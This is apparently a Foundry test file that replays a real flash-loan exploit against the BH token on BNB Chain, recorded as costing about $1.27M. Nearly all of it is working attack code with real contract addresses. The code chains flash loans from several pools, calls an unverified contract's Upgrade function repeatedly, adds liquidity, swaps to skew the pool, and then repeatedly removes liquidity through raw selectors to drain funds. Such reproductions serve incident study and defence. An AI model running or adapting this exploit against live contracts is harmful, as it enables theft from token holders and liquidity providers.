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BH_exp.sol
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BH_exp.sol
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// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~$1.27M
// Attacker : https://bscscan.com/address/0xfdbfceea1de360364084a6f37c9cdb7aaea63464
// Attack Contract : https://bscscan.com/address/0x216ccfd4fb3f2267677598f96ef1ff151576480c
// Vulnerable Contract : https://bscscan.com/address/0xcc61cc9f2632314c9d452aca79104ddf680952b5
// Attack Tx : https://bscscan.com/tx/0xc11e4020c0830bcf84bfa197696d7bfad9ff503166337cb92ea3fade04007662
// @Analysis
// https://twitter.com/BeosinAlert/status/1712139760813375973
// https://twitter.com/DecurityHQ/status/1712118881425203350
interface IUnverifiedContract1 {
function Upgrade(address _lpToken) external;
}
contract ContractTest is Test {
IERC20 private constant BUSDT =
IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 private constant BH =
IERC20(0xCC61CC9F2632314c9d452acA79104DDf680952b5);
IDPPOracle private constant DPPOracle1 =
IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
IDPPOracle private constant DPPOracle2 =
IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
IDPPOracle private constant DPPOracle3 =
IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
IDPPOracle private constant DPPAdvanced =
IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
IDPPOracle private constant DPP =
IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
Uni_Pair_V2 private constant WBNB_BUSDT =
Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
Uni_Pair_V3 private constant BUSDT_USDC =
Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
IUnverifiedContract1 private constant UnverifiedContract1 =
IUnverifiedContract1(0x8cA7835aa30b025b38A59309DD1479d2F452623a);
Uni_Router_V2 private constant Router =
Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address private constant lpToken =
0xdbC27f2e9a2532b15C848F4Ae408cfE8BeB14959;
address private constant unverifiedContractAddr2 =
0x5b9dd1De70320B1EA6C8BBebA12bf4e246227999;
address private constant busdt_bh_lp =
0x2371E4Ad771020CE3D8252f1db3e5559FbA8eeb5;
function setUp() public {
vm.createSelectFork("bsc", 32512073);
vm.label(address(BUSDT), "BUSDT");
vm.label(address(BH), "BH");
vm.label(address(DPPOracle1), "DPPOracle1");
vm.label(address(DPPOracle2), "DPPOracle2");
vm.label(address(DPPOracle3), "DPPOracle3");
vm.label(address(DPPAdvanced), "DPPAdvanced");
vm.label(address(DPP), "DPP");
vm.label(address(WBNB_BUSDT), "WBNB_BUSDT");
vm.label(address(BUSDT_USDC), "BUSDT_USDC");
vm.label(address(UnverifiedContract1), "UnverifiedContract1");
vm.label(address(Router), "Router");
vm.label(lpToken, "lpToken");
vm.label(unverifiedContractAddr2, "unverifiedContractAddr2");
vm.label(busdt_bh_lp, "busdt_bh_lp");
}
function testExploit() public {
deal(address(BUSDT), address(this), 0);
emit log_named_decimal_uint(
"Attacker BUSDT balance before attack",
BUSDT.balanceOf(address(this)),
BUSDT.decimals()
);
emit log_named_decimal_uint(
"Attacker BH balance before attack",
BH.balanceOf(address(this)),
BH.decimals()
);
DPPOracle1.flashLoan(
0,
BUSDT.balanceOf(address(DPPOracle1)),
address(this),
abi.encode(0)
);
emit log_named_decimal_uint(
"Attacker BUSDT balance after attack",
BUSDT.balanceOf(address(this)),
BUSDT.decimals()
);
emit log_named_decimal_uint(
"Attacker BH balance after attack",
BH.balanceOf(address(this)),
BH.decimals()
);
}
function DPPFlashLoanCall(
address sender,
uint256 baseAmount,
uint256 quoteAmount,
bytes calldata data
) external {
if (abi.decode(data, (uint256)) == uint256(0)) {
DPPOracle2.flashLoan(
0,
BUSDT.balanceOf(address(DPPOracle2)),
address(this),
abi.encode(1)
);
} else if (abi.decode(data, (uint256)) == uint256(1)) {
DPPOracle3.flashLoan(
0,
BUSDT.balanceOf(address(DPPOracle3)),
address(this),
abi.encode(2)
);
} else if (abi.decode(data, (uint256)) == uint256(2)) {
DPP.flashLoan(
0,
BUSDT.balanceOf(address(DPP)),
address(this),
abi.encode(3)
);
} else if (abi.decode(data, (uint256)) == uint256(3)) {
DPPAdvanced.flashLoan(
0,
BUSDT.balanceOf(address(DPPAdvanced)),
address(this),
abi.encode(4)
);
} else {
WBNB_BUSDT.swap(10_000_000 * 1e18, 0, address(this), abi.encode(0));
}
BUSDT.transfer(msg.sender, quoteAmount);
}
function pancakeCall(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
BUSDT_USDC.flash(address(this), 15_000_000 * 1e18, 0, abi.encode(0));
BUSDT.transfer(address(WBNB_BUSDT), amount0 + 60_000 * 1e18);
}
function pancakeV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) external {
BUSDT.approve(address(UnverifiedContract1), type(uint256).max);
BUSDT.approve(address(Router), type(uint256).max);
BH.approve(address(UnverifiedContract1), type(uint256).max);
uint8 i;
while (i < 12) {
UnverifiedContract1.Upgrade(lpToken);
++i;
}
// Adding liquidity.
(bool success, ) = address(UnverifiedContract1).call(
abi.encodeWithSelector(bytes4(0x33688938), 3_000_000 * 1e18)
);
require(success, "Call to function with selector 0x33688938 fail");
// Swap tokens. Change the liquidity removal ratio in favor of Attacker
BUSDTToBH();
// Remove liquidity
i = 0;
while (i < 10) {
uint256 lpAmount = (BH.balanceOf(busdt_bh_lp) * 55) / 100;
(success, ) = address(UnverifiedContract1).call(
abi.encodeWithSelector(bytes4(0x4e290832), lpAmount)
);
require(success, "Call to function with selector 0x4e290832 fail");
++i;
}
BUSDT.transfer(address(BUSDT_USDC), 15_000_000 * 1e18 + fee0);
}
function BUSDTToBH() internal {
address[] memory path = new address[](2);
path[0] = address(BUSDT);
path[1] = address(BH);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
22_000_000 * 1e18,
0,
path,
unverifiedContractAddr2,
block.timestamp + 100
);
}
}